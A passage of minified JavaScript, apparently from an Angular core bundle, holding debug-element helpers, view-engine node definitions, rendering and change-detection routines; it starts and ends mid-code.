t=n.data[s];Qa(t)&&(t=t.type),i.push(t)}return i}(this.nativeNode)}}class kv extends Iv{constructor(t){super(t)}get nativeElement(){return this.nativeNode.nodeType==Node.ELEMENT_NODE?this.nativeNode:null}get name(){const t=Hi(this.nativeNode);return null!==t?t.lView[1].data[t.nodeIndex].value:this.nativeNode.nodeName}get properties(){const t=Hi(this.nativeNode);if(null===t)return{};const e=t.lView,n=e[1].data,r=n[t.nodeIndex],i={};return function(t,e){if(t){let n=Object.getPrototypeOf(t);const r=Node.prototype;for(;null!==n&&n!==r;){const r=Object.getOwnPropertyDescriptors(n);for(let n in r)if(!n.startsWith("__")&&!n.startsWith("on")){const r=t[n];Av(r)&&(e[n]=r)}n=Object.getPrototypeOf(n)}}}(this.nativeElement,i),function(t,e,n,r){let i=e.propertyBindings;if(null!==i)for(let o=0;o<i.length;o++){const e=i[o],s=r[e].split("\ufffd"),a=s[0];if(s.length>1){let r=s[1];for(let t=1;t<s.length-1;t++)r+=v(n[e+t-1])+s[t+1];t[a]=r}else t[a]=n[e]}}(i,r,e,n),i}get attributes(){const t={},e=this.nativeElement;if(!e)return t;const n=Hi(e);if(null===n)return{};const r=n.lView[1].data[n.nodeIndex].attrs,i=[];if(r){let e=0;for(;e<r.length;){const n=r[e];if("string"!=typeof n)break;t[n]=r[e+1],i.push(n.toLowerCase()),e+=2}}const o=e.attributes;for(let s=0;s<o.length;s++){const e=o[s],n=e.name.toLowerCase();-1===i.indexOf(n)&&(t[n]=e.value)}return t}get styles(){return this.nativeElement&&this.nativeElement.style?this.nativeElement.style:{}}get classes(){const t={},e=this.nativeElement.className;return(e&&"string"!=typeof e?e.baseVal.split(" "):e.split(" ")).forEach(e=>t[e]=!0),t}get childNodes(){const t=this.nativeNode.childNodes,e=[];for(let n=0;n<t.length;n++)e.push(Bv(t[n]));return e}get children(){const t=this.nativeElement;if(!t)return[];const e=t.children,n=[];for(let r=0;r<e.length;r++)n.push(Bv(e[r]));return n}query(t){return this.queryAll(t)[0]||null}queryAll(t){const e=[];return Dv(this,t,e,!0),e}queryAllNodes(t){const e=[];return Dv(this,t,e,!1),e}triggerEventHandler(t,e){const n=this.nativeNode,r=[];this.listeners.forEach(i=>{if(i.name===t){const t=i.callback;t.call(n,e),r.push(t)}}),"function"==typeof n.eventListeners&&n.eventListeners(t).forEach(t=>{if(-1!==t.toString().indexOf("__ngUnwrap__")){const i=t("__ngUnwrap__");return-1===r.indexOf(i)&&i.call(n,e)}})}}function Av(t){return"string"==typeof t||"boolean"==typeof t||"number"==typeof t||null===t}function Dv(t,e,n,r){const i=Hi(t.nativeNode);null!==i?Nv(i.lView[1].data[i.nodeIndex],i.lView,e,n,r,t.nativeNode):jv(t.nativeNode,e,n,r)}function Nv(t,e,n,r,i,o){const s=function(t,e){const n=null===t?-1:t.index;return-1!==n?zt(e[n]):null}(t,e);if(11&t.type){if(Lv(s,n,r,i,o),_t(t)){const s=Kt(t.index,e);s&&s[1].firstChild&&Nv(s[1].firstChild,s,n,r,i,o)}else t.child&&Nv(t.child,e,n,r,i,o),s&&jv(s,n,r,i);const a=e[t.index];bt(a)&&Rv(a,n,r,i,o)}else if(4&t.type){const s=e[t.index];Lv(s[7],n,r,i,o),Rv(s,n,r,i,o)}else if(16&t.type){const s=e[16],a=s[6].projection[t.projection];if(Array.isArray(a))for(let t of a)Lv(t,n,r,i,o);else if(a){const t=s[3];Nv(t[1].data[a.index],t,n,r,i,o)}}else t.child&&Nv(t.child,e,n,r,i,o);if(o!==s){const s=4&t.flags?t.projectionNext:t.next;s&&Nv(s,e,n,r,i,o)}}function Rv(t,e,n,r,i){for(let o=10;o<t.length;o++){const s=t[o],a=s[1].firstChild;a&&Nv(a,s,e,n,r,i)}}function Lv(t,e,n,r,i){if(i!==t){const i=Hv(t);if(!i)return;(r&&i instanceof kv&&e(i)&&-1===n.indexOf(i)||!r&&e(i)&&-1===n.indexOf(i))&&n.push(i)}}function jv(t,e,n,r){const i=t.childNodes,o=i.length;for(let s=0;s<o;s++){const t=i[s],o=Hv(t);o&&((r&&o instanceof kv&&e(o)&&-1===n.indexOf(o)||!r&&e(o)&&-1===n.indexOf(o))&&n.push(o),jv(t,e,n,r))}}const Fv=new Map,Vv="__ng_debug__";function Bv(t){return t instanceof Node?(t.hasOwnProperty(Vv)||(t[Vv]=t.nodeType==Node.ELEMENT_NODE?new kv(t):new Iv(t)),t[Vv]):null}const Hv=Bv;function zv(t){return function(t){return Fv.get(t)||null}(t)}const Gv=function(t){return null};function Uv(t){Fv.set(t.nativeNode,t)}const qv=Iv,Wv=kv,Kv=ov(null,"core",[{provide:ub,useValue:"unknown"},{provide:lv,deps:[Fa]},{provide:Gb,deps:[]},{provide:pb,deps:[]}]);function $v(){return Bp}function Qv(){return Hp}function Xv(t){return t=t||_b&&"undefined"!=typeof $localize&&$localize.locale||kd,_b&&jd(t),t}const Zv=[{provide:dv,useClass:dv,deps:[Rb,Fa,io,tp,ib]},{provide:nm,deps:[Rb],useFactory:Yv},{provide:ib,useClass:ib,deps:[[new Pr,rb]]},{provide:Ib,useClass:Ib,deps:[]},ab,{provide:Tp,useFactory:$v,deps:[]},{provide:kp,useFactory:Qv,deps:[]},{provide:fb,useFactory:Xv,deps:[[new xr(fb),new Pr,new Mr]]},{provide:gb,useValue:Ad}];function Yv(t){let e=[];return t.onStable.subscribe(()=>{for(;e.length;)e.pop()()}),function(t){e.push(t)}}let Jv=(()=>{class t{constructor(t){}}return t.\u0275fac=function(e){return new(e||t)(gr(dv))},t.\u0275mod=ct({type:t}),t.\u0275inj=S({providers:Zv}),t})();function t_(t,e,n,r,i,o){t|=1;const{matchedQueries:s,references:a,matchedQueryIds:c}=Bf(e);return{nodeIndex:-1,parent:null,renderParent:null,bindingIndex:-1,outputIndex:-1,flags:t,checkIndex:-1,childFlags:0,directChildFlags:0,childMatchedQueries:0,matchedQueries:s,matchedQueryIds:c,references:a,ngContentIndex:n,childCount:r,bindings:[],bindingFlags:0,outputs:[],element:{ns:null,name:null,attrs:null,template:o?Uf(o):null,componentProvider:null,componentView:null,componentRendererType:null,publicProviders:null,allProviders:null,handleEvent:i||vf},provider:null,text:null,query:null,ngContent:null}}function e_(t,e,n,r,i,o,s=[],a,c,l,u,d){l||(l=vf);const{matchedQueries:h,references:p,matchedQueryIds:f}=Bf(n);let g=null,m=null;o&&([g,m]=Zf(o)),a=a||[];const y=[];for(let _=0;_<a.length;_++){const[t,e,n]=a[_],[r,i]=Zf(e);let o,s;switch(15&t){case 4:s=n;break;case 1:case 8:o=n}y[_]={flags:t,ns:r,name:i,nonMinifiedName:i,securityContext:o,suffix:s}}c=c||[];const b=[];for(let _=0;_<c.length;_++){const[t,e]=c[_];b[_]={type:0,target:t,eventName:e,propName:null}}const v=(s=s||[]).map(([t,e])=>{const[n,r]=Zf(t);return[n,r,e]});return d=function(t){return t&&t.id===xf&&(t.id=null!=t.encapsulation&&t.encapsulation!==z.None||t.styles.length||Object.keys(t.data).length?"c"+Mf++:Pf),t&&t.id===Pf&&(t=null),t||null}(d),u&&(e|=33554432),{nodeIndex:-1,parent:null,renderParent:null,bindingIndex:-1,outputIndex:-1,checkIndex:t,flags:e|=1,childFlags:0,directChildFlags:0,childMatchedQueries:0,matchedQueries:h,matchedQueryIds:f,references:p,ngContentIndex:r,childCount:i,bindings:y,bindingFlags:Yf(y),outputs:b,element:{ns:g,name:m,attrs:v,template:null,componentProvider:null,componentView:u||null,componentRendererType:d,publicProviders:null,allProviders:null,handleEvent:l||vf},provider:null,text:null,query:null,ngContent:null}}function n_(t,e,n){const r=n.element,i=t.root.selectorOrNode,o=t.renderer;let s;if(t.parent||!i){s=r.name?o.createElement(r.name,r.ns):o.createComment("");const i=zf(t,e,n);i&&o.appendChild(i,s)}else s=o.selectRootElement(i,!!r.componentRendererType&&r.componentRendererType.encapsulation===z.ShadowDom);if(r.attrs)for(let a=0;a<r.attrs.length;a++){const[t,e,n]=r.attrs[a];o.setAttribute(s,e,n,t)}return s}function r_(t,e,n,r){for(let i=0;i<n.outputs.length;i++){const o=n.outputs[i],s=i_(t,n.nodeIndex,Lf(o.target,o.eventName));let a=o.target,c=t;"component"===o.target&&(a=null,c=e);const l=c.renderer.listen(a||r,o.eventName,s);t.disposables[n.outputIndex+i]=l}}function i_(t,e,n){return r=>Af(t,e,n,r)}function o_(t,e,n,r){if(!Ef(t,e,n,r))return!1;const i=e.bindings[n],o=pf(t,e.nodeIndex),s=o.renderElement,a=i.name;switch(15&i.flags){case 1:!function(t,e,n,r,i,o){const s=e.securityContext;let a=s?t.root.sanitizer.sanitize(s,o):o;a=null!=a?a.toString():null;const c=t.renderer;null!=o?c.setAttribute(n,i,a,r):c.removeAttribute(n,i,r)}(t,i,s,i.ns,a,r);break;case 2:!function(t,e,n,r){const i=t.renderer;r?i.addClass(e,n):i.removeClass(e,n)}(t,s,a,r);break;case 4:!function(t,e,n,r,i){let o=t.root.sanitizer.sanitize(Ii.STYLE,i);if(null!=o){o=o.toString();const t=e.suffix;null!=t&&(o+=t)}else o=null;const s=t.renderer;null!=o?s.setStyle(n,r,o):s.removeStyle(n,r)}(t,i,s,a,r);break;case 8:!function(t,e,n,r,i){const o=e.securityContext;let s=o?t.root.sanitizer.sanitize(o,i):i;t.renderer.setProperty(n,r,s)}(33554432&e.flags&&32&i.flags?o.componentView:t,i,s,a,r)}return!0}function s_(t,e,n){let r=[];for(let i in n)r.push({propName:i,bindingType:n[i]});return{nodeIndex:-1,parent:null,renderParent:null,bindingIndex:-1,outputIndex:-1,checkIndex:-1,flags:t,childFlags:0,directChildFlags:0,childMatchedQueries:0,ngContentIndex:-1,matchedQueries:{},matchedQueryIds:0,references:{},childCount:0,bindings:[],bindingFlags:0,outputs:[],element:null,provider:null,text:null,query:{id:e,filterId:Vf(e),bindings:r},ngContent:null}}function a_(t){return new Bm(t)}function c_(t){const e=t.def.nodeMatchedQueries;for(;t.parent&&Ff(t);){let n=t.parentNodeDef;t=t.parent;const r=n.nodeIndex+n.childCount;for(let i=0;i<=r;i++){const r=t.def.nodes[i];67108864&r.flags&&536870912&r.flags&&(r.query.filterId&e)===r.query.filterId&&mf(t,i).setDirty(),(1&r.flags&&i+r.childCount<n.nodeIndex||!(67108864&r.childFlags)||!(536870912&r.childFlags))&&(i+=r.childCount)}}if(134217728&t.def.nodeFlags)for(let n=0;n<t.def.nodes.length;n++){const e=t.def.nodes[n];134217728&e.flags&&536870912&e.flags&&mf(t,n).setDirty(),n+=e.childCount}}function l_(t,e){const n=mf(t,e.nodeIndex);if(!n.dirty)return;let r,i;if(67108864&e.flags){const n=e.parent.parent;i=u_(t,n.nodeIndex,n.nodeIndex+n.childCount,e.query,[]),r=ff(t,e.parent.nodeIndex).instance}else 134217728&e.flags&&(i=u_(t,0,t.def.nodes.length-1,e.query,[]),r=t.component);n.reset(i,lp);const o=e.query.bindings;let s=!1;for(let a=0;a<o.length;a++){const t=o[a];let e;switch(t.bindingType){case 0:e=n.first;break;case 1:e=n,s=!0}r[t.propName]=e}s&&n.notifyOnChanges()}function u_(t,e,n,r,i){for(let o=e;o<=n;o++){const e=t.def.nodes[o],n=e.matchedQueries[r.id];if(null!=n&&i.push(d_(t,e,n)),1&e.flags&&e.element.template&&(e.element.template.nodeMatchedQueries&r.filterId)===r.filterId){const n=pf(t,o);if((e.childMatchedQueries&r.filterId)===r.filterId&&(u_(t,o+1,o+e.childCount,r,i),o+=e.childCount),16777216&e.flags){const t=n.viewContainer._embeddedViews;for(let e=0;e<t.length;e++){const o=t[e],s=Df(o);s&&s===n&&u_(o,0,o.def.nodes.length-1,r,i)}}const s=n.template._projectedViews;if(s)for(let t=0;t<s.length;t++){const e=s[t];u_(e,0,e.def.nodes.length-1,r,i)}}(e.childMatchedQueries&r.filterId)!==r.filterId&&(o+=e.childCount)}return i}function d_(t,e,n){if(null!=n)switch(n){case 1:return pf(t,e.nodeIndex).renderElement;case 0:return new cp(pf(t,e.nodeIndex).renderElement);case 2:return pf(t,e.nodeIndex).template;case 3:return pf(t,e.nodeIndex).viewContainer;case 4:return ff(t,e.nodeIndex).instance}}function h_(t,e){return{nodeIndex:-1,parent:null,renderParent:null,bindingIndex:-1,outputIndex:-1,checkIndex:-1,flags:8,childFlags:0,directChildFlags:0,childMatchedQueries:0,matchedQueries:{},matchedQueryIds:0,references:{},ngContentIndex:t,childCount:0,bindings:[],bindingFlags:0,outputs:[],element:null,provider:null,text:null,query:null,ngContent:{index:e}}}function p_(t,e,n){const r=zf(t,e,n);r&&Kf(t,n.ngContent.index,1,r,null,void 0)}function f_(t,e){return y_(128,t,Qn(e+1))}function g_(t,e){return y_(32,t,Qn(e))}function m_(t,e){const n=Object.keys(e),r=n.length,i=[];for(let o=0;o<r;o++){i.push(n[o])}return y_(64,t,i)}function y_(t,e,n){const r=[];for(let i=0;i<n.length;i++){const t=n[i];r.push({flags:8,name:t,ns:null,nonMinifiedName:t,securityContext:null,suffix:null})}return{nodeIndex:-1,parent:null,renderParent:null,bindingIndex:-1,outputIndex:-1,checkIndex:e,flags:t,childFlags:0,directChildFlags:0,childMatchedQueries:0,matchedQueries:{},matchedQueryIds:0,references:{},ngContentIndex:-1,childCount:0,bindings:r,bindingFlags:Yf(r),outputs:[],element:null,provider:null,text:null,query:null,ngContent:null}}function b_(t,e,n){const r=[];for(let i=1;i<n.length;i++)r[i-1]={flags:8,name:null,ns:null,nonMinifiedName:null,securityContext:null,suffix:n[i]};return{nodeIndex:-1,parent:null,renderParent:null,bindingIndex:-1,outputIndex:-1,checkIndex:t,flags:2,childFlags:0,directChildFlags:0,childMatchedQueries:0,matchedQueries:{},matchedQueryIds:0,references:{},ngContentIndex:e,childCount:0,bindings:r,bindingFlags:8,outputs:[],element:null,provider:null,text:{prefix:n[0]},query:null,ngContent:null}}function v_(t,e,n){let r;const i=t.renderer;r=i.createText(n.text.prefix);const o=zf(t,e,n);return o&&i.appendChild(o,r),{renderText:r}}function __(t,e){return(null!=t?t.toString():"")+e.suffix}function C_(t,e,n,r){let i=0,o=0,s=0,a=0,c=0,l=null,u=null,d=!1,h=!1,p=null;for(let f=0;f<e.length;f++){const t=e[f];if(t.nodeIndex=f,t.parent=l,t.bindingIndex=i,t.outputIndex=o,t.renderParent=u,s|=t.flags,c|=t.matchedQueryIds,t.element){const e=t.element;e.publicProviders=l?l.element.publicProviders:Object.create(null),e.allProviders=e.publicProviders,d=!1,h=!1,t.element.template&&(c|=t.element.template.nodeMatchedQueries)}if(x_(l,t,e.length),i+=t.bindings.length,o+=t.outputs.length,!u&&3&t.flags&&(p=t),20224&t.flags){d||(d=!0,l.element.publicProviders=Object.create(l.element.publicProviders),l.element.allProviders=l.element.publicProviders);const e=0!=(32768&t.flags);0==(8192&t.flags)||e?l.element.publicProviders[Cf(t.provider.token)]=t:(h||(h=!0,l.element.allProviders=Object.create(l.element.publicProviders)),l.element.allProviders[Cf(t.provider.token)]=t),e&&(l.element.componentProvider=t)}if(l?(l.childFlags|=t.flags,l.directChildFlags|=t.flags,l.childMatchedQueries|=t.matchedQueryIds,t.element&&t.element.template&&(l.childMatchedQueries|=t.element.template.nodeMatchedQueries)):a|=t.flags,t.childCount>0)l=t,w_(t)||(u=t);else for(;l&&f===l.nodeIndex+l.childCount;){const t=l.parent;t&&(t.childFlags|=l.childFlags,t.childMatchedQueries|=l.childMatchedQueries),l=t,u=l&&w_(l)?l.renderParent:l}}return{factory:null,nodeFlags:s,rootNodeFlags:a,nodeMatchedQueries:c,flags:t,nodes:e,updateDirectives:n||vf,updateRenderer:r||vf,handleEvent:(t,n,r,i)=>e[n].element.handleEvent(t,r,i),bindingCount:i,outputCount:o,lastRenderRootNode:p}}function w_(t){return 0!=(1&t.flags)&&null===t.element.name}function x_(t,e,n){const r=e.element&&e.element.template;if(r){if(!r.lastRenderRootNode)throw new Error("Illegal State: Embedded templates without nodes are not allowed!");if(r.lastRenderRootNode&&16777216&r.lastRenderRootNode.flags)throw new Error(`Illegal State: Last root node of a template can't have embedded views, at index ${e.nodeIndex}!`)}if(20224&e.flags&&0==(1&(t?t.flags:0)))throw new Error(`Illegal State: StaticProvider/Directive nodes need to be children of elements or anchors, at index ${e.nodeIndex}!`);if(e.query){if(67108864&e.flags&&(!t||0==(16384&t.flags)))throw new Error(`Illegal State: Content Query nodes need to be children of directives, at index ${e.nodeIndex}!`);if(134217728&e.flags&&t)throw new Error(`Illegal State: View Query nodes have to be top level nodes, at index ${e.nodeIndex}!`)}if(e.childCount){const r=t?t.nodeIndex+t.childCount:n-1;if(e.nodeIndex<=r&&e.nodeIndex+e.childCount>r)throw new Error(`Illegal State: childCount of node leads outside of parent, at index ${e.nodeIndex}!`)}}function P_(t,e,n,r){const i=O_(t.root,t.renderer,t,e,n);return E_(i,t.component,r),T_(i),i}function S_(t,e,n){const r=O_(t,t.renderer,null,null,e);return E_(r,n,n),T_(r),r}function M_(t,e,n,r){const i=e.element.componentRendererType;let o;return o=i?t.root.rendererFactory.createRenderer(r,i):t.root.renderer,O_(t.root,o,t,e.element.componentProvider,n)}function O_(t,e,n,r,i){const o=new Array(i.nodes.length),s=i.outputCount?new Array(i.outputCount):null;return{def:i,parent:n,viewContainerParent:null,parentNodeDef:r,context:null,component:null,nodes:o,state:13,root:t,renderer:e,oldValues:new Array(i.bindingCount),disposables:s,initIndex:-1}}function E_(t,e,n){t.component=e,t.context=n}function T_(t){let e;jf(t)&&(e=pf(t.parent,t.parentNodeDef.parent.nodeIndex).renderElement);const n=t.def,r=t.nodes;for(let i=0;i<n.nodes.length;i++){const o=n.nodes[i];let s;switch(bf.setCurrentNode(t,i),201347067&o.flags){case 1:const n=n_(t,e,o);let a;if(33554432&o.flags){const e=Uf(o.element.componentView);a=bf.createComponentView(t,o,e,n)}r_(t,a,o,n),s={renderElement:n,componentView:a,viewContainer:null,template:o.element.template?xg(t,o):void 0},16777216&o.flags&&(s.viewContainer=vg(t,o,s));break;case 2:s=v_(t,e,o);break;case 512:case 1024:case 2048:case 256:s=r[i],!s&&!(4096&o.flags)&&(s={instance:Hg(t,o)});break;case 16:s={instance:zg(t,o)};break;case 16384:s=r[i],s||(s={instance:Gg(t,o)}),32768&o.flags&&E_(pf(t,o.parent.nodeIndex).componentView,s.instance,s.instance);break;case 32:case 64:case 128:s={value:void 0};break;case 67108864:case 134217728:s=a_(-2147483648==(-2147483648&o.flags));break;case 8:p_(t,e,o),s=void 0}r[i]=s}F_(t,j_.CreateViewNodes),z_(t,201326592,268435456,0)}function I_(t){D_(t),bf.updateDirectives(t,1),V_(t,j_.CheckNoChanges),bf.updateRenderer(t,1),F_(t,j_.CheckNoChanges),t.state&=-97}function k_(t){1&t.state?(t.state&=-2,t.state|=2):t.state&=-3,uf(t,0,256),D_(t),bf.updateDirectives(t,0),V_(t,j_.CheckAndUpdate),z_(t,67108864,536870912,0);let e=uf(t,256,512);Zg(t,2097152|(e?1048576:0)),bf.updateRenderer(t,0),F_(t,j_.CheckAndUpdate),z_(t,134217728,536870912,0),e=uf(t,512,768),Zg(t,8388608|(e?4194304:0)),2&t.def.flags&&(t.state&=-9),t.state&=-97,uf(t,768,1024)}function A_(t,e,n,r,i,o,s,a,c,l,u,d,h){return 0===n?function(t,e,n,r,i,o,s,a,c,l,u,d){switch(201347067&e.flags){case 1:return function(t,e,n,r,i,o,s,a,c,l,u,d){const h=e.bindings.length;let p=!1;return h>0&&o_(t,e,0,n)&&(p=!0),h>1&&o_(t,e,1,r)&&(p=!0),h>2&&o_(t,e,2,i)&&(p=!0),h>3&&o_(t,e,3,o)&&(p=!0),h>4&&o_(t,e,4,s)&&(p=!0),h>5&&o_(t,e,5,a)&&(p=!0),h>6&&o_(t,e,6,c)&&(p=!0),h>7&&o_(t,e,7,l)&&(p=!0),h>8&&o_(t,e,8,u)&&(p=!0),h>9&&o_(t,e,9,d)&&(p=!0),p}(t,e,n,r,i,o,s,a,c,l,u,d);case 2:return function(t,e,n,r,i,o,s,a,c,l,u,d){let h=!1;const p=e.bindings,f=p.length;if(f>0&&Ef(t,e,0,n)&&(h=!0),f>1&&Ef(t,e,1,r)&&(h=!0),f>2&&Ef(t,e,2,i)&&(h=!0),f>3&&Ef(t,e,3,o)&&(h=!0),f>4&&Ef(t,e,4,s)&&(h=!0),f>5&&Ef(t,e,5,a)&&(h=!0),f>6&&Ef(t,e,6,c)&&(h=!0),f>7&&Ef(t,e,7,l)&&(h=!0),f>8&&Ef(t,e,8,u)&&(h=!0),f>9&&Ef(t,e,9,d)&&(h=!0),h){let h=e.text.prefix;f>0&&(h+=__(n,p[0])),f>1&&(h+=__(r,p[1])),f>2&&(h+=__(i,p[2])),f>3&&(h+=__(o,p[3])),f>4&&(h+=__(s,p[4])),f>5&&(h+=__(a,p[5])),f>6&&(h+=__(c,p[6])),f>7&&(h+=__(l,p[7])),f>8&&(h+=__(u,p[8])),f>9&&(h+=__(d,p[9]));const g=hf(t,e.nodeIndex).renderText;t.renderer.setValue(g,h)}return h}(t,e,n,r,i,o,s,a,c,l,u,d);case 16384:return function(t,e,n,r,i,o,s,a,c,l,u,d){const h=ff(t,e.nodeIndex),p=h.instance;let f,g=!1;const m=e.bindings.length;return m>0&&Of(t,e,0,n)&&(g=!0,f=Xg(t,h,e,0,n,f)),m>1&&Of(t,e,1,r)&&(g=!0,f=Xg(t,h,e,1,r,f)),m>2&&Of(t,e,2,i)&&(g=!0,f=Xg(t,h,e,2,i,f)),m>3&&Of(t,e,3,o)&&(g=!0,f=Xg(t,h,e,3,o,f)),m>4&&Of(t,e,4,s)&&(g=!0,f=Xg(t,h,e,4,s,f)),m>5&&Of(t,e,5,a)&&(g=!0,f=Xg(t,h,e,5,a,f)),m>6&&Of(t,e,6,c)&&(g=!0,f=Xg(t,h,e,6,c,f)),m>7&&Of(t,e,7,l)&&(g=!0,f=Xg(t,h,e,7,l,f)),m>8&&Of(t,e,8,u)&&(g=!0,f=Xg(t,h,e,8,u,f)),m>9&&Of(t,e,9,d)&&(g=!0,f=Xg(t,h,e,9,d,f)),f&&p.ngOnChanges(f),65536&e.flags&&df(t,256,e.nodeIndex)&&p.ngOnInit(),262144&e.flags&&p.ngDoCheck(),g}(t,e,n,r,i,o,s,a,c,l,u,d);case 32:case 64:case 128:return function(t,e,n,r,i,o,s,a,c,l,u,d){const h=e.bindings;let p=!1;const f=h.length;if(f>0&&Ef(t,e,0,n)&&(p=!0),f>1&&Ef(t,e,1,r)&&(p=!0),f>2&&Ef(t,e,2,i)&&(p=!0),f>3&&Ef(t,e,3,o)&&(p=!0),f>4&&Ef(t,e,4,s)&&(p=!0),f>5&&Ef(t,e,5,a)&&(p=!0),f>6&&Ef(t,e,6,c)&&(p=!0),f>7&&Ef(t,e,7,l)&&(p=!0),f>8&&Ef(t,e,8,u)&&(p=!0),f>9&&Ef(t,e,9,d)&&(p=!0),p){const p=gf(t,e.nodeIndex);let g;switch(201347067&e.flags){case 32:g=[],f>0&&g.push(n),f>1&&g.push(r),f>2&&g.push(i),f>3&&g.push(o),f>4&&g.push(s),f>5&&g.push(a),f>6&&g.push(c),f>7&&g.push(l),f>8&&g.push(u),f>9&&g.push(d);break;case 64:g={},f>0&&(g[h[0].name]=n),f>1&&(g[h[1].name]=r),f>2&&(g[h[2].name]=i),f>3&&(g[h[3].name]=o),f>4&&(g[h[4].name]=s),f>5&&(g[h[5].name]=a),f>6&&(g[h[6].name]=c),f>7&&(g[h[7].name]=l),f>8&&(g[h[8].name]=u),f>9&&(g[h[9].name]=d);break;case 128:const t=n;switch(f){case 1:g=t.transform(n);break;case 2:g=t.transform(r);break;case 3:g=t.transform(r,i);break;case 4:g=t.transform(r,i,o);break;case 5:g=t.transform(r,i,o,s);break;case 6:g=t.transform(r,i,o,s,a);break;case 7:g=t.transform(r,i,o,s,a,c);break;case 8:g=t.transform(r,i,o,s,a,c,l);break;case 9:g=t.transform(r,i,o,s,a,c,l,u);break;case 10:g=t.transform(r,i,o,s,a,c,l,u,d)}}p.value=g}return p}(t,e,n,r,i,o,s,a,c,l,u,d);default:throw"unreachable"}}(t,e,r,i,o,s,a,c,l,u,d,h):function(t,e,n){switch(201347067&e.flags){case 1:return function(t,e,n){let r=!1;for(let i=0;i<n.length;i++)o_(t,e,i,n[i])&&(r=!0);return r}(t,e,n);case 2:return function(t,e,n){const r=e.bindings;let i=!1;for(let o=0;o<n.length;o++)Ef(t,e,o,n[o])&&(i=!0);if(i){let i="";for(let t=0;t<n.length;t++)i+=__(n[t],r[t]);i=e.text.prefix+i;const o=hf(t,e.nodeIndex).renderText;t.renderer.setValue(o,i)}return i}(t,e,n);case 16384:return function(t,e,n){const r=ff(t,e.nodeIndex),i=r.instance;let o,s=!1;for(let a=0;a<n.length;a++)Of(t,e,a,n[a])&&(s=!0,o=Xg(t,r,e,a,n[a],o));return o&&i.ngOnChanges(o),65536&e.flags&&df(t,256,e.nodeIndex)&&i.ngOnInit(),262144&e.flags&&i.ngDoCheck(),s}(t,e,n);case 32:case 64:case 128:return function(t,e,n){const r=e.bindings;let i=!1;for(let o=0;o<n.length;o++)Ef(t,e,o,n[o])&&(i=!0);if(i){const i=gf(t,e.nodeIndex);let o;switch(201347067&e.flags){case 32:o=n;break;case 64:o={};for(let i=0;i<n.length;i++)o[r[i].name]=n[i];break;case 128:const t=n[0],e=n.slice(1);o=t.transform(...e)}i.value=o}return i}(t,e,n);default:throw"unreachable"}}(t,e,r)}function D_(t){const e=t.def;if(4&e.nodeFlags)for(let n=0;n<e.nodes.length;n++){const r=e.nodes[n];if(4&r.flags){const e=pf(t,n).template._projectedViews;if(e)for(let n=0;n<e.length;n++){const r=e[n];r.state|=32,kf(r,t)}}else 0==(4&r.childFlags)&&(n+=r.childCount)}}function N_(t,e,n,r,i,o,s,a,c,l,u,d,h){return 0===n?function(t,e,n,r,i,o,s,a,c,l,u,d){const h=e.bindings.length;h>0&&Tf(t,e,0,n),h>1&&Tf(t,e,1,r),h>2&&Tf(t,e,2,i),h>3&&Tf(t,e,3,o),h>4&&Tf(t,e,4,s),h>5&&Tf(t,e,5,a),h>6&&Tf(t,e,6,c),h>7&&Tf(t,e,7,l),h>8&&Tf(t,e,8,u),h>9&&Tf(t,e,9,d)}(t,e,r,i,o,s,a,c,l,u,d,h):function(t,e,n){for(let r=0;r<n.length;r++)Tf(t,e,r,n[r])}(t,e,r),!1}function R_(t,e){if(mf(t,e.nodeIndex).dirty)throw af(bf.createDebugContext(t,e.nodeIndex),`Query ${e.query.id} not dirty`,`Query ${e.query.id} dirty`,0!=(1&t.state))}function L_(t){if(!(128&t.state)){if(V_(t,j_.Destroy),F_(t,j_.Destroy),Zg(t,131072),t.disposables)for(let e=0;e<t.disposables.length;e++)t.disposables[e]();(function(t){if(!(16&t.state))return;const e=Df(t);if(e){const n=e.template._projectedViews;n&&($n(n,n.indexOf(t)),bf.dirtyParentQueries(t))}})(t),t.renderer.destroyNode&&function(t){const e=t.def.nodes.length;for(let n=0;n<e;n++){const e=t.def.nodes[n];1&e.flags?t.renderer.destroyNode(pf(t,n).renderElement):2&e.flags?t.renderer.destroyNode(hf(t,n).renderText):(67108864&e.flags||134217728&e.flags)&&mf(t,n).destroy()}}(t),jf(t)&&t.renderer.destroy(),t.state|=128}}var j_=(()=>((j_=j_||{})[j_.CreateViewNodes=0]="CreateViewNodes",j_[j_.CheckNoChanges=1]="CheckNoChanges",j_[j_.CheckNoChangesProjectedViews=2]="CheckNoChangesProjectedViews",j_[j_.CheckAndUpdate=3]="CheckAndUpdate",j_[j_.CheckAndUpdateProjectedViews=4]="CheckAndUpdateProjectedViews",j_[j_.Destroy=5]="Destroy",j_))();function F_(t,e){const n=t.def;if(33554432&n.nodeFlags)for(let r=0;r<n.nodes.length;r++){const i=n.nodes[r];33554432&i.flags?B_(pf(t,r).componentView,e):0==(33554432&i.childFlags)&&(r+=i.childCount)}}function V_(t,e){const n=t.def;if(16777216&n.nodeFlags)for(let r=0;r<n.nodes.length;r++){const i=n.nodes[r];if(16777216&i.flags){const n=pf(t,r).viewContainer._embeddedViews;for(let t=0;t<n.length;t++)B_(n[t],e)}else 0==(16777216&i.childFlags)&&(r+=i.childCount)}}function B_(t,e){const n=t.state;switch(e){case j_.CheckNoChanges:0==(128&n)&&(12==(12&n)?I_(t):64&n&&H_(t,j_.CheckNoChangesProjectedViews));break;case j_.CheckNoChangesProjectedViews:0==(128&n)&&(32&n?I_(t):64&n&&H_(t,e));break;case j_.CheckAndUpdate:0==(128&n)&&(12==(12&n)?k_(t):64&n&&H_(t,j_.CheckAndUpdateProjectedViews));break;case j_.CheckAndUpdateProjectedViews:0==(128&n)&&(32&n?k_(t):64&n&&H_(t,e));break;case j_.Destroy:L_(t);break;case j_.CreateViewNodes:T_(t)}}function H_(t,e){V_(t,e),F_(t,e)}function z_(t,e,n,r){if(!(t.def.nodeFlags&e&&t.def.nodeFlags&n))return;const i=t.def.nodes.length;for(let o=0;o<i;o++){const i=t.def.nodes[o];if(i.flags&e&&i.flags&n)switch(bf.setCurrentNode(t,i.nodeIndex),r){case 0:l_(t,i);break;case 1:R_(t,i)}(!(i.childFlags&e)||!(i.childFlags&n))&&(o+=i.childCount)}}let G_=!1;function U_(){if(G_)return;G_=!0;const t=Qb()?{setCurrentNode:pC,createRootView:W_,createEmbeddedView:$_,createComponentView:Q_,createNgModuleRef:X_,overrideProvider:tC,overrideComponentView:eC,clearOverrides:nC,checkAndUpdateView:sC,checkNoChangesView:aC,destroyView:cC,createDebugContext:(t,e)=>new 